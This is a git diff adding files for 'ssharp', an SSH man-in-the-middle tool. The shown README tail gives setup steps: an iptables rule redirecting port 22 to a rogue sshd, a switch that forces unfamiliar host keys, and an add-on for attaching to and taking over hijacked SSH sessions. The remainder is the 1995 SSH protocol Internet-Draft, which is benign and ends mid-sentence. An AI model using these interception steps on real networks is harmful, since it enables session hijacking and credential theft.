+For in-LAN testing: + +# iptables -t nat -A PREROUTING -p tcp --dport 22 -j REDIRECT --to-port 10000 -i eth0 +# :) + +(maybe you need to specify different portranges if ssh clients come +from src-port 30000+X) + +5. + +# ./sshd -4 -p 10000 + +6. + +Return to coding. + + +If you want to use the SSH2-only MiM, add -7 switch to line seen at 5: + +# ./sshd -4 -p 10000 -7 + +This will make sshd look which key (DSA or RSA) the client probably does +not already have and will force it to use. + +If you have still some spare time, you may have a look at ssh-walk script. + +If having even more spare time you may want to compile ssharp with +USE_MSS option and install the mss server and client into /usr/local/bin. +Then ssharp will slip the session through a screen-like terminal +which allows you to attach to hijacked SSH sessions. mss-server will +create /tmp/ssharp-IP.PID socket which can be used as argument for +mss-client. If PID is killed and someone attached to the mss-server +before the legitimate client is killed and you own the session as +the only one. TAKE CARE TO STAY LEGAL!!! +mss can be found at http://stealth.7350.org/ + +In urgent cases I may be reached through stealth@segfault.net. + +Stealth + + diff --git a/other/ssharp/RFC.nroff b/other/ssharp/RFC.nroff new file mode 100644 index 0000000..bf7146a --- /dev/null +++ b/other/ssharp/RFC.nroff @@ -0,0 +1,1780 @@ +.\" -*- nroff -*- +.\" +.\" $OpenBSD: RFC.nroff,v 1.2 2000/10/16 09:38:44 djm Exp $ +.\" +.pl 10.0i +.po 0 +.ll 7.2i +.lt 7.2i +.nr LL 7.2i +.nr LT 7.2i +.ds LF Ylonen +.ds RF FORMFEED[Page %] +.ds CF +.ds LH Internet-Draft +.ds RH 15 November 1995 +.ds CH SSH (Secure Shell) Remote Login Protocol +.na +.hy 0 +.in 0 +Network Working Group T. Ylonen +Internet-Draft Helsinki University of Technology +draft-ylonen-ssh-protocol-00.txt 15 November 1995 +Expires: 15 May 1996 + +.in 3 + +.ce +The SSH (Secure Shell) Remote Login Protocol + +.ti 0 +Status of This Memo + +This document is an Internet-Draft. Internet-Drafts are working +documents of the Internet Engineering Task Force (IETF), its areas, +and its working groups. Note that other groups may also distribute +working documents as Internet-Drafts. + +Internet-Drafts are draft documents valid for a maximum of six +months and may be updated, replaced, or obsoleted by other docu- +ments at any time. It is inappropriate to use Internet-Drafts as +reference material or to cite them other than as ``work in pro- +gress.'' + +To learn the current status of any Internet-Draft, please check the +``1id-abstracts.txt'' listing contained in the Internet- Drafts Shadow +Directories on ftp.is.co.za (Africa), nic.nordu.net (Europe), +munnari.oz.au (Pacific Rim), ds.internic.net (US East Coast), or +ftp.isi.edu (US West Coast). + +The distribution of this memo is unlimited. + +.ti 0 +Introduction + +SSH (Secure Shell) is a program to log into another computer over a +network, to execute commands in a remote machine, and to move files +from one machine to another. It provides strong authentication and +secure communications over insecure networks. Its features include +the following: +.IP o +Closes several security holes (e.g., IP, routing, and DNS spoofing). +New authentication methods: .rhosts together with RSA [RSA] based host +authentication, and pure RSA authentication. +.IP o +All communications are automatically and transparently encrypted. +Encryption is also used to protect integrity. +.IP o +X11 connection forwarding provides secure X11 sessions. +.IP o +Arbitrary TCP/IP ports can be redirected over the encrypted channel +in both directions. +.IP o +Client RSA-authenticates the server machine in the beginning of every +connection to prevent trojan horses (by routing or DNS spoofing) and +man-in-the-middle attacks, and the server RSA-authenticates the client +machine before accepting .rhosts or /etc/hosts.equiv authentication +(to prevent DNS, routing, or IP spoofing). +.IP o +An authentication agent, running in the user's local workstation or +laptop, can be used to hold the user's RSA authentication keys. +.RT + +The goal has been to make the software as easy to use as possible for +ordinary users. The protocol has been designed to be as secure as +possible while making it possible to create implementations that +are easy to use and install. The sample implementation has a number +of convenient features that are not described in this document as they +are not relevant for the protocol. + + +.ti 0 +Overview of the Protocol + +The software consists of a server program running on a server machine, +and a client program running on a client machine (plus a few auxiliary +programs). The machines are connected by an insecure IP [RFC0791] +network (that can be monitored, tampered with, and spoofed by hostile +parties). + +A connection is always initiated by the client side. The server +listens on a specific port waiting for connections. Many clients may +connect to the same server machine. + +The client and the server are connected via a TCP/IP [RFC0793] socket +that is used for bidirectional communication. Other types of +transport can be used but are currently not defined. + +When the client connects the server, the server accepts the connection +and responds by sending back its version identification string. The +client parses the server's identification, and sends its own +identification. The purpose of the identification strings is to +validate that the connection was to the correct port, declare the +protocol version number used, and to declare the software version used +on each side (for debugging purposes). The identification strings are +human-readable. If either side fails to understand or support the +other side's version, it closes the connection. + +After the protocol identification phase, both sides switch to a packet +based binary protocol. The server starts by sending its host key +(every host has an RSA key used to authenticate the host), server key +(an RSA key regenerated every hour), and other information to the +client. The client then generates a 256 bit session key, encrypts it +using both RSA keys (see below for details), and sends the encrypted +session key and selected cipher type to the server. Both sides then +turn on encryption using the selected algorithm and key. The server +sends an encrypted confirmation message to the client. + +The client then authenticates itself using any of a number of +authentication methods. The currently supported authentication +methods are .rhosts or /etc/hosts.equiv authentication (disabled by +default), the same with RSA-based host authentication, RSA +authentication, and password authentication. + +After successful authentication, the client makes a number of requests +to prepare for the session. Typical requests include allocating a +pseudo tty, starting X11 [X11] or TCP/IP port forwarding, starting +authentication agent forwarding, and executing the shell or a command. + +When a shell or command is executed, the connection enters interactive +session mode. In this mode, data is passed in both directions, +new forwarded connections may be opened, etc. The interactive session +normally terminates when the server sends the exit status of the +program to the client. + + +The protocol makes several reservations for future extensibility. +First of all, the initial protocol identification messages include the +protocol version number. Second, the first packet by both sides +includes a protocol flags field, which can be used to agree on +extensions in a compatible manner. Third, the authentication and +session preparation phases work so that the client sends requests to +the server, and the server responds with success or failure. If the +client sends a request that the server does not support, the server +simply returns failure for it. This permits compatible addition of +new authentication methods and preparation operations. The +interactive session phase, on the other hand, works asynchronously and +does not permit the use of any extensions (because there is no easy +and reliable way to signal rejection to the other side and problems +would be hard to debug). Any compatible extensions to this phase must +be agreed upon during any of the earlier phases. + +.ti 0 +The Binary Packet Protocol + +After the protocol identification strings, both sides only send +specially formatted packets. The packet layout is as follows: +.IP o +Packet length: 32 bit unsigned integer, coded as four 8-bit bytes, msb +first. Gives the length of the packet, not including the length field +and padding. The maximum length of a packet (not including the length +field and padding) is 262144 bytes. +.IP o +Padding: 1-8 bytes of random data (or zeroes if not encrypting). The +amount of padding is (8 - (length % 8)) bytes (where % stands for the +modulo operator). The rationale for always having some random padding +at the beginning of each packet is to make known plaintext attacks +more difficult. +.IP o +Packet type: 8-bit unsigned byte. The value 255 is reserved for +future extension. +.IP o +Data: binary data bytes, depending on the packet type. The number of +data bytes is the "length" field minus 5. +.IP o +Check bytes: 32-bit crc, four 8-bit bytes, msb first. The crc is the +Cyclic Redundancy Check, with the polynomial 0xedb88320, of the +Padding, Packet type, and Data fields. The crc is computed before +any encryption. +.RT + +The packet, except for the length field, may be encrypted using any of +a number of algorithms. The length of the encrypted part (Padding + +Type + Data + Check) is always a multiple of 8 bytes. Typically the +cipher is used in a chained mode, with all packets chained together as +if it was a single data stream (the length field is never included in +the encryption process). Details of encryption are described below. + +When the session starts, encryption is turned off. Encryption is +enabled after the client has sent the session key. The encryption +algorithm to use is selected by the client. + + +.ti 0 +Packet Compression + +If compression is supported (it is an optional feature, see +SSH_CMSG_REQUEST_COMPRESSION below), the packet type and data fields +of the packet are compressed using the gzip deflate algorithm [GZIP]. +If compression is in effect, the packet length field indicates the +length of the compressed data, plus 4 for the crc. The amount of +padding is computed from the compressed data, so that the amount of +data to be encrypted becomes a multiple of 8 bytes. + +When compressing, the packets (type + data portions) in each direction +are compressed as if they formed a continuous data stream, with only the +current compression block flushed between packets. This corresponds +to the GNU ZLIB library Z_PARTIAL_FLUSH option. The compression +dictionary is not flushed between packets. The two directions are +compressed independently of each other. + + +.ti 0 +Packet Encryption + +The protocol supports several encryption methods. During session +initialization, the server sends a bitmask of all encryption methods +that it supports, and the client selects one of these methods. The +client also generates a 256-bit random session key (32 8-bit bytes) and +sends it to the server. + +The encryption methods supported by the current implementation, and +their codes are: +.TS +center; +l r l. +SSH_CIPHER_NONE 0 No encryption +SSH_CIPHER_IDEA 1 IDEA in CFB mode +SSH_CIPHER_DES 2 DES in CBC mode +SSH_CIPHER_3DES 3 Triple-DES in CBC mode +SSH_CIPHER_TSS 4 An experimental stream cipher +SSH_CIPHER_RC4 5 RC4 +.TE + +All implementations are required to support SSH_CIPHER_DES and +SSH_CIPHER_3DES. Supporting SSH_CIPHER_IDEA, SSH_CIPHER_RC4, and +SSH_CIPHER_NONE is recommended. Support for SSH_CIPHER_TSS is +optional (and it is not described in this document). Other ciphers +may be added at a later time; support for them is optional. + +For encryption, the encrypted portion of the packet is considered a +linear byte stream. The length of the stream is always a multiple of +8. The encrypted portions of consecutive packets (in the same +direction) are encrypted as if they were a continuous buffer (that is, +any initialization vectors are passed from the previous packet to the +next packet). Data in each direction is encrypted independently. +.IP SSH_CIPHER_DES +The key is taken from the first 8 bytes of the session key. The least +significant bit of each byte is ignored. This results in 56 bits of +key data. DES [DES] is used in CBC mode. The iv (initialization vector) is +initialized to all zeroes. +.IP SSH_CIPHER_3DES +The variant of triple-DES used here works as follows: there are three +independent DES-CBC ciphers, with independent initialization vectors. +The data (the whole encrypted data stream) is first encrypted with the +first cipher, then decrypted with the second cipher, and finally +encrypted with the third cipher. All these operations are performed +in CBC mode. + +The key for the first cipher is taken from the first 8 bytes of the +session key; the key for the next cipher from the next 8 bytes, and +the key for the third cipher from the following 8 bytes. All three +initialization vectors are initialized to zero. + +(Note: the variant of 3DES used here differs from some other +descriptions.) +.IP SSH_CIPHER_IDEA +The key is taken from the first 16 bytes of the session key. IDEA +[IDEA] is used in CFB mode. The initialization vector is initialized +to all zeroes. +.IP SSH_CIPHER_TSS +All 32 bytes of the session key are used as the key. + +There is no reference available for the TSS algorithm; it is currently +only documented in the sample implementation source code. The +security of this cipher is unknown (but it is quite fast). The cipher +is basically a stream cipher that uses MD5 as a random number +generator and takes feedback from the data. +.IP SSH_CIPHER_RC4 +The first 16 bytes of the session key are used as the key for the +server to client direction. The remaining 16 bytes are used as the +key for the client to server direction. This gives independent +128-bit keys for each direction. + +This algorithm is the alleged RC4 cipher posted to the Usenet in 1995. +It is widely believed to be equivalent with the original RSADSI RC4 +cipher. This is a very fast algorithm. +.RT + + +.ti 0 +Data Type Encodings + +The Data field of each packet contains data encoded as described in +this section. There may be several data items; each item is coded as +described here, and their representations are concatenated together +(without any alignment or padding). + +Each data type is stored as follows: +.IP "8-bit byte" +The byte is stored directly as a single byte. +.IP "32-bit unsigned integer" +Stored in 4 bytes, msb first. +.IP "Arbitrary length binary string" +First 4 bytes are the length of the string, msb first (not including +the length itself). The following "length" bytes are the string +value. There are no terminating null characters. +.IP "Multiple-precision integer" +First 2 bytes are the number of bits in the integer, msb first (for +example, the value 0x00012345 would have 17 bits). The value zero has +zero bits. It is permissible that the number of bits be larger than the +real number of bits. + +The number of bits is followed by (bits + 7) / 8 bytes of binary data, +msb first, giving the value of the integer. +.RT + + +.ti 0 +TCP/IP Port Number and Other Options + +The server listens for connections on TCP/IP port 22. + +The client may connect the server from any port. However, if the +client wishes to use any form of .rhosts or /etc/hosts.equiv +authentication, it must connect from a privileged port (less than +1024). + +For the IP Type of Service field [RFC0791], it is recommended that +interactive sessions (those having a user terminal or forwarding X11 +connections) use the IPTOS_LOWDELAY, and non-interactive connections +use IPTOS_THROUGHPUT. + +It is recommended that keepalives are used, because otherwise programs +on the server may never notice if the other end of the connection is +rebooted. + + +.ti 0 +Protocol Version Identification + +After the socket is opened, the server sends an identification string, +which is of the form +"SSH-.-\\n", where + and are integers and specify the +protocol version number (not software distribution version). + is server side software version string (max 40 characters); +it is not interpreted by the remote side but may be useful for +debugging. + +The client parses the server's string, and sends a corresponding +string with its own information in response. If the server has lower +version number, and the client contains special code to emulate it, +the client responds with the lower number; otherwise it responds with +its own number. The server then compares the version number the +client sent with its own, and determines whether they can work +together. The server either disconnects, or sends the first packet +using the binary packet protocol and both sides start working +according to the lower of the protocol versions. + +By convention, changes which keep the protocol compatible with +previous versions keep the same major protocol version; changes that +are not compatible increment the major version (which will hopefully +never happen). The version described in this document is 1.3. + +The client will + +.ti 0 +Key Exchange and Server Host Authentication + +The first message sent by the server using the packet protocol is +SSH_SMSG_PUBLIC_KEY. It declares the server's host key, server public +key, supported ciphers, supported authentication methods, and flags +for protocol extensions. It also contains a 64-bit random number +(cookie) that must be returned in the client's reply (to make IP +spoofing more difficult). No encryption is used for this message. + +Both sides compute a session id as follows. The modulus of the server +key is interpreted as a byte string (without explicit length field, +with minimum length able to hold the whole value), most significant +byte first. This string is concatenated with the server host key +interpreted the same way. Additionally, the cookie is concatenated +with this. Both sides compute MD5 of the resulting string. The +resulting 16 bytes (128 bits) are stored by both parties and are +called the session id. + +The client responds with a SSH_CMSG_SESSION_KEY message, which +contains the selected cipher type, a copy of the 64-bit cookie sent by +the server, client's protocol flags, and a session key encrypted +with both the server's host key and server key. No encryption is used +for this message. + +The session key is 32 8-bit bytes (a total of 256 random bits +generated by the client). The client first xors the 16 bytes of the +session id with the first 16 bytes of the session key. The resulting +string is then encrypted using the smaller key (one with smaller +modulus), and the result is then encrypted using the other key. The +number of bits in the public modulus of the two keys must differ by at +least 128 bits. + +At each encryption step, a multiple-precision integer is constructed +from the data to be encrypted as follows (the integer is here +interpreted as a sequence of bytes, msb first; the number of bytes is +the number of bytes needed to represent the modulus). + +The most significant byte (which is only partial as the value must be +less than the public modulus, which is never a power of two) is zero. + +The next byte contains the value 2 (which stands for public-key +encrypted data in the PKCS standard [PKCS#1]). Then, there are +non-zero random bytes to fill any unused space, a zero byte, and the +data to be encrypted in the least significant bytes, the last byte of +the data in the least significant byte. + +This algorithm is used twice. First, it is used to encrypt the 32 +random bytes generated by the client to be used as the session key +(xored by the session id). This value is converted to an integer as +described above, and encrypted with RSA using the key with the smaller +modulus. The resulting integer is converted to a byte stream, msb +first. This byte stream is padded and encrypted identically using the +key with the larger modulus. + +After the client has sent the session key, it starts to use the +selected algorithm and key for decrypting any received packets, and +for encrypting any sent packets. Separate ciphers are used for +different directions (that is, both directions have separate +initialization vectors or other state for the ciphers). + +When the server has received the session key message, and has turned +on encryption, it sends a SSH_SMSG_SUCCESS message to the client. + +The recommended size of the host key is 1024 bits, and 768 bits for +the server key. The minimum size is 512 bits for the smaller key. + + +.ti 0 +Declaring the User Name + +The client then sends a SSH_CMSG_USER message to the server. This +message specifies the user name to log in as. + +The server validates that such a user exists, checks whether +authentication is needed, and responds with either SSH_SMSG_SUCCESS or +SSH_SMSG_FAILURE. SSH_SMSG_SUCCESS indicates that no authentication +is needed for this user (no password), and authentication phase has +now been completed. SSH_SMSG_FAILURE indicates that authentication is +needed (or the user does not exist). + +If the user does not exist, it is recommended that this returns +failure, but the server keeps reading messages from the client, and +responds to any messages (except SSH_MSG_DISCONNECT, SSH_MSG_IGNORE, +and SSH_MSG_DEBUG) with SSH_SMSG_FAILURE. This way the client cannot +be certain whether the user exists. + + +.ti 0 +Authentication Phase + +Provided the server didn't immediately accept the login, an +authentication exchange begins. The client sends messages to the +server requesting different types of authentication in arbitrary order as +many times as desired (however, the server may close the connection +after a timeout). The server always responds with SSH_SMSG_SUCCESS if +it has accepted the authentication, and with SSH_SMSG_FAILURE if it has +denied authentication with the requested method or it does not +recognize the message. Some authentication methods cause an exchange +of further messages before the final result is sent. The +authentication phase ends when the server responds with success. + +The recommended value for the authentication timeout (timeout before +disconnecting if no successful authentication has been made) is 5 +minutes. + +The following authentication methods are currently supported: +.TS +center; +l r l. +SSH_AUTH_RHOSTS 1 .rhosts or /etc/hosts.equiv +SSH_AUTH_RSA 2 pure RSA authentication +SSH_AUTH_PASSWORD 3 password authentication +SSH_AUTH_RHOSTS_RSA 4 .rhosts with RSA host authentication +.TE +.IP SSH_AUTH_RHOSTS + +This is the authentication method used by rlogin and rsh [RFC1282]. + +The client sends SSH_CMSG_AUTH_RHOSTS with the client-side user name +as an argument. + +The server checks whether to permit authentication. On UNIX systems, +this is usually done by checking /etc/hosts.equiv, and .rhosts in the +user's home directory. The connection must come from a privileged +port. + +It is recommended that the server checks that there are no IP options +(such as source routing) specified for the socket before accepting +this type of authentication. The client host name should be +reverse-mapped and then forward mapped to ensure that it has the +proper IP-address. + +This authentication method trusts the remote host (root on the remote +host can pretend to be any other user on that host), the name +services, and partially the network: anyone who can see packets coming +out from the server machine can do IP-spoofing and pretend to be any +machine; however, the protocol prevents blind IP-spoofing (which used +to be possible with rlogin). + +Many sites probably want to disable this authentication method because +of the fundamental insecurity of conventional .rhosts or +/etc/hosts.equiv authentication when faced with spoofing. It is +recommended that this method not be supported by the server by +default. +.IP SSH_AUTH_RHOSTS_RSA + +In addition to conventional .rhosts and hosts.equiv authentication, +this method additionally requires that the client host be +authenticated using RSA. + +The client sends SSH_CMSG_AUTH_RHOSTS_RSA specifying the client-side +user name, and the public host key of the client host. + +The server first checks if normal .rhosts or /etc/hosts.equiv +authentication would be accepted, and if not, responds with +SSH_SMSG_FAILURE. Otherwise, it checks whether it knows the host key +for the client machine (using the same name for the host that was used +for checking the .rhosts and /etc/hosts.equiv files). If it does not +know the RSA key for the client, access is denied and SSH_SMSG_FAILURE +is sent. + +If the server knows the host key of the client machine, it verifies +that the given host key matches that known for the client. If not, +access is denied and SSH_SMSG_FAILURE is sent. + +The server then sends a SSH_SMSG_AUTH_RSA_CHALLENGE message containing +an encrypted challenge for the client. The challenge is 32 8-bit +random bytes (256 bits). When encrypted, the highest (partial) byte +is left as zero, the next byte contains the value 2, the following are +non-zero random bytes, followed by a zero byte, and the challenge put +in the remaining bytes. This is then encrypted using RSA with the +client host's public key. (The padding and encryption algorithm is +the same as that used for the session key.) + +The client decrypts the challenge using its private host key, +concatenates this with the session id, and computes an MD5 checksum +of the resulting 48 bytes. The MD5 output is returned as 16 bytes in +a SSH_CMSG_AUTH_RSA_RESPONSE message. (MD5 is used to deter chosen +plaintext attacks against RSA; the session id binds it to a specific +session). + +The server verifies that the MD5 of the decrypted challenge returned by +the client matches that of the original value, and sends SSH_SMSG_SUCCESS if +so. Otherwise it sends SSH_SMSG_FAILURE and refuses the +authentication attempt. + +This authentication method trusts the client side machine in that root +on that machine can pretend to be any user on that machine. +Additionally, it trusts the client host key. The name and/or IP +address of the client host is only used to select the public host key. +The same host name is used when scanning .rhosts or /etc/hosts.equiv +and when selecting the host key. It would in principle be possible to +eliminate the host name entirely and substitute it directly by the +host key. IP and/or DNS [RFC1034] spoofing can only be used +to pretend to be a host for which the attacker has the private host +key. +.IP SSH_AUTH_RSA + +The idea behind RSA authentication is that the server recognizes the +public key offered by the client, generates a random challenge, and +encrypts the challenge with the public key. The client must then +prove that it has the corresponding private key by decrypting the +challenge. + +The client sends SSH_CMSG_AUTH_RSA with public key modulus (n) as an +argument. + +The server may respond immediately with SSH_SMSG_FAILURE if it does +not permit authentication with this key. Otherwise it generates a +challenge, encrypts it using the user's public key (stored on the +server and identified using the modulus), and sends +SSH_SMSG_AUTH_RSA_CHALLENGE with the challenge (mp-int) as an +argument. + +The challenge is 32 8-bit random bytes (256 bits). When encrypted, +the highest (partial) byte is left as zero, the next byte contains the +value 2, the following are non-zero random bytes, followed by a zero +byte, and the challenge put in the remaining bytes. This is then +encrypted with the public key. (The padding and encryption algorithm +is the same as that used for the session key.) + +The client decrypts the challenge using its private key, concatenates +it with the session id, and computes an MD5 checksum of the resulting +48 bytes. The MD5 output is returned as 16 bytes in a +SSH_CMSG_AUTH_RSA_RESPONSE message. (Note that the MD5 is necessary +to avoid chosen plaintext attacks against RSA; the session id binds it +to a specific session.) + +The server verifies that the MD5 of the decrypted challenge returned +by the client matches that of the original value, and sends +SSH_SMSG_SUCCESS if so. Otherwise it sends SSH_SMSG_FAILURE and +refuses the authentication attempt. + +This authentication method does not trust the remote host, the +network, name services, or anything else. Authentication is based +solely on the possession of the private identification keys. Anyone +in possession of the private keys can log in, but nobody else. + +The server may have additional requirements for a successful +authentiation. For example, to limit damage due to a compromised RSA +key, a server might restrict access to a limited set of hosts. +.IP SSH_AUTH_PASSWORD + +The client sends a SSH_CMSG_AUTH_PASSWORD message with the plain text +password. (Note that even though the password is plain text inside +the message, it is normally encrypted by the packet mechanism.) + +The server verifies the password, and sends SSH_SMSG_SUCCESS if +authentication was accepted and SSH_SMSG_FAILURE otherwise. + +Note that the password is read from the user by the client; the user +never interacts with a login program. + +This authentication method does not trust the remote host, the +network, name services or anything else. Authentication is based +solely on the possession of the password. Anyone in possession of the +password can log in, but nobody else. +.RT + +.ti 0 +Preparatory Operations + +After successful authentication, the server waits for a request from +the client, processes the request, and responds with SSH_SMSG_SUCCESS +whenever a request has been successfully processed. If it receives a +message that it does not recognize or it fails to honor a request, it +returns SSH_SMSG_FAILURE. It is expected that new message types might +be added to this phase in future. + +The following messages are currently defined for this phase. +.IP SSH_CMSG_REQUEST_COMPRESSION +Requests that compression be enabled for this session. A +gzip-compatible compression level (1-9) is passed as an argument. +.IP SSH_CMSG_REQUEST_PTY +Requests that a pseudo terminal device be allocated for this session. +The user terminal type and terminal modes are supplied as arguments. +.IP SSH_CMSG_X11_REQUEST_FORWARDING +Requests forwarding of X11 connections from the remote machine to the +local machine over the secure channel. Causes an internet-domain +socket to be allocated and the DISPLAY variable to be set on the server. +X11 authentication data is automatically passed to the server, and the +client may implement spoofing of authentication data for added +security. The authentication data is passed as arguments. +.IP SSH_CMSG_PORT_FORWARD_REQUEST +Requests forwarding of a TCP/IP port on the server host over the +secure channel. What happens is that whenever a connection is made to +the port on the server, a connection will be made from the client end +to the specified host/port. Any user can forward unprivileged ports; +only the root can forward privileged ports (as determined by +authentication done earlier). +.IP SSH_CMSG_AGENT_REQUEST_FORWARDING +Requests forwarding of the connection to the authentication agent. +.IP SSH_CMSG_EXEC_SHELL +Starts a shell (command interpreter) for the user, and moves into +interactive session mode. +.IP SSH_CMSG_EXEC_CMD +Executes the given command (actually " -c " or +equivalent) for the user, and moves into interactive session mode. +.RT + + +.ti 0 +Interactive Session and Exchange of Data + +During the interactive session, any data written by the shell or +command running on the server machine is forwarded to stdin or +stderr on the client machine, and any input available from stdin on +the client machine is forwarded to the program on the server machine. + +All exchange is asynchronous; either side can send at any time, and +there are no acknowledgements (TCP/IP already provides reliable +transport, and the packet protocol protects against tampering or IP +spoofing). + +When the client receives EOF from its standard input, it will send +SSH_CMSG_EOF; however, this in no way terminates the exchange. The +exchange terminates and interactive mode is left when the server sends +SSH_SMSG_EXITSTATUS to indicate that the client program has +terminated. Alternatively, either side may disconnect at any time by +sending SSH_MSG_DISCONNECT or closing the connection. + +The server may send any of the following messages: +.IP SSH_SMSG_STDOUT_DATA +Data written to stdout by the program running on the server. The data +is passed as a string argument. The client writes this data to +stdout. +.IP SSH_SMSG_STDERR_DATA +Data written to stderr by the program running on the server. The data +is passed as a string argument. The client writes this data to +stderr. (Note that if the program is running on a tty, it is not +possible to separate stdout and stderr data, and all data will be sent +as stdout data.) +.IP SSH_SMSG_EXITSTATUS +Indicates that the shell or command has exited. Exit status is passed +as an integer argument. This message causes termination of the +interactive session. +.IP SSH_SMSG_AGENT_OPEN +Indicates that someone on the server side is requesting a connection +to the authentication agent. The server-side channel number is passed +as an argument. The client must respond with either +SSH_CHANNEL_OPEN_CONFIRMATION or SSH_CHANNEL_OPEN_FAILURE. +.IP SSH_SMSG_X11_OPEN +Indicates that a connection has been made to the X11 socket on the +server side and should be forwarded to the real X server. An integer +argument indicates the channel number allocated for this connection on +the server side. The client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the server side +for which forwarding has been requested. Arguments are server side +channel number, host name to connect to, and port to connect to. The +client should send back either +SSH_MSG_CHANNEL_OPEN_CONFIRMATION or SSH_MSG_CHANNEL_OPEN_FAILURE with +the same server side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the server to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +client side channel number, and the second argument is the channel number +that the server has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the server to indicate that it failed to open a +connection as requested in a previous message. The client-side +channel number is passed as an argument. The client will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the server. The first +argument is the client-side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the server to indicate that whoever was in the other +end of the channel has closed it. The argument is the client side channel +number. The client will let all buffered data in the channel to +drain, and when ready, will close the socket, free the channel, and +send the server a SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the +channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the server to indicate that a channel previously +closed by the client has now been closed on the server side as well. +The argument indicates the client channel number. The client frees +the channel. +.RT + +The client may send any of the following messages: +.IP SSH_CMSG_STDIN_DATA +This is data to be sent as input to the program running on the server. +The data is passed as a string. +.IP SSH_CMSG_EOF +Indicates that the client has encountered EOF while reading standard +input. The server will allow any buffered input data to drain, and +will then close the input to the program. +.IP SSH_CMSG_WINDOW_SIZE +Indicates that window size on the client has been changed. The server +updates the window size of the tty and causes SIGWINCH to be sent to +the program. The new window size is passed as four integer arguments: +row, col, xpixel, ypixel. +.IP SSH_MSG_PORT_OPEN +Indicates that a connection has been made to a port on the client side +for which forwarding has been requested. Arguments are client side +channel number, host name to connect to, and port to connect to. The +server should send back either SSH_MSG_CHANNEL_OPEN_CONFIRMATION or +SSH_MSG_CHANNEL_OPEN_FAILURE with the same client side channel number. +.IP SSH_MSG_CHANNEL_OPEN_CONFIRMATION +This is sent by the client to indicate that it has opened a connection +as requested in a previous message. The first argument indicates the +server side channel number, and the second argument is the channel +number that the client has allocated for this connection. +.IP SSH_MSG_CHANNEL_OPEN_FAILURE +This is sent by the client to indicate that it failed to open a +connection as requested in a previous message. The server side +channel number is passed as an argument. The server will close the +descriptor associated with the channel and free the channel. +.IP SSH_MSG_CHANNEL_DATA +This packet contains data for a channel from the client. The first +argument is the server side channel number, and the second argument (a +string) is the data. +.IP SSH_MSG_CHANNEL_CLOSE +This is sent by the client to indicate that whoever was in the other +end of the channel has closed it. The argument is the server channel +number. The server will allow buffered data to drain, and when ready, +will close the socket, free the channel, and send the client a +SSH_MSG_CHANNEL_CLOSE_CONFIRMATION message for the channel. +.IP SSH_MSG_CHANNEL_CLOSE_CONFIRMATION +This is send by the client to indicate that a channel previously +closed by the server has now been closed on the client side as well. +The argument indicates the server channel number. The server frees +the channel. +.RT + +Any unsupported messages during interactive mode cause the connection +to be terminated with SSH_MSG_DISCONNECT and an error message. +Compatible protocol upgrades should agree about any extensions during +the preparation phase or earlier. + + +.ti 0 +Termination of the Connection + +Normal termination of the connection is always initiated by the server +by sending SSH_SMSG_EXITSTATUS after the program has exited. The +client responds to this message by sending SSH_CMSG_EXIT_CONFIRMATION +and closes the socket; the server then closes the socket. There are +two purposes for the confirmation: some systems may lose previously +sent data when the socket is closed, and closing the client side first +causes any TCP/IP TIME_WAIT [RFC0793] waits to occur on the client side, not +consuming server resources. + +If the program terminates due to a signal, the server will send +SSH_MSG_DISCONNECT with an appropriate message. If the connection is +closed, all file descriptors to the program will be closed and the +server will exit. If the program runs on a tty, the kernel sends it +the SIGHUP signal when the pty master side is closed. + +.ti 0 +Protocol Flags + +Both the server and the client pass 32 bits of protocol flags to the +other side. The flags are intended for compatible protocol extension; +the server first announces which added capabilities it supports, and +the client then sends the capabilities that it supports. + +The following flags are currently defined (the values are bit masks): +.IP "1 SSH_PROTOFLAG_SCREEN_NUMBER" +This flag can only be sent by the client. It indicates that the X11 +forwarding requests it sends will include the screen number. +.IP "2 SSH_PROTOFLAG_HOST_IN_FWD_OPEN" +If both sides specify this flag, SSH_SMSG_X11_OPEN and +SSH_MSG_PORT_OPEN messages will contain an additional field containing +a description of the host at the other end of the connection. +.RT + +.ti 0 +Detailed Description of Packet Types and Formats + +The supported packet types and the corresponding message numbers are +given in the following table. Messages with _MSG_ in their name may +be sent by either side. Messages with _CMSG_ are only sent by the +client, and messages with _SMSG_ only by the server. + +A packet may contain additional data after the arguments specified +below. Any such data should be ignored by the receiver. However, it +is recommended that no such data be stored without good reason. (This +helps build compatible extensions.) +.IP "0 SSH_MSG_NONE" +This code is reserved. This message type is never sent. +.IP "1 SSH_MSG_DISCONNECT" +.TS +; +l l. +string Cause of disconnection +.TE +This message may be sent by either party at any time. It causes the +immediate disconnection of the connection. The message is intended to +be displayed to a human, and describes the reason for disconnection. +.IP "2 SSH_SMSG_PUBLIC_KEY" +.TS +; +l l. +8 bytes anti_spoofing_cookie +32-bit int server_key_bits +mp-int server_key_public_exponent +mp-int server_key_public_modulus +32-bit int host_key_bits +mp-int host_key_public_exponent +mp-int host_key_public_modulus +32-bit int protocol_flags +32-bit int supported_ciphers_mask +32-bit int supported_authentications_mask +.TE +Sent as the first message by the server. This message gives the +server's host key, server key, protocol flags (intended for compatible +protocol extension), supported_ciphers_mask (which is the +bitwise or of (1 << cipher_number), where << is the left shift +operator, for all supported ciphers), and +supported_authentications_mask (which is the bitwise or of (1 << +authentication_type) for all supported authentication types). The +anti_spoofing_cookie is 64 random bytes, and must be sent back +verbatim by the client in its reply. It is used to make IP-spoofing +more difficult (encryption and host keys are the real defense against +spoofing). +.IP "3 SSH_CMSG_SESSION_KEY" +.TS +; +l l. +1 byte cipher_type (must be one of the supported values) +8 bytes anti_spoofing_cookie (must match data sent by the server) +mp-int double-encrypted session key +32-bit int protocol_flags +.TE +Sent by the client as the first message in the session. Selects the +cipher to use, and sends the encrypted session key to the server. The +anti_spoofing_cookie must be the same bytes that were sent by the +server. Protocol_flags is intended for negotiating compatible +protocol extensions. +.IP "4 SSH_CMSG_USER" +.TS +; +l l. +string user login name on server +.TE +Sent by the client to begin authentication. Specifies the 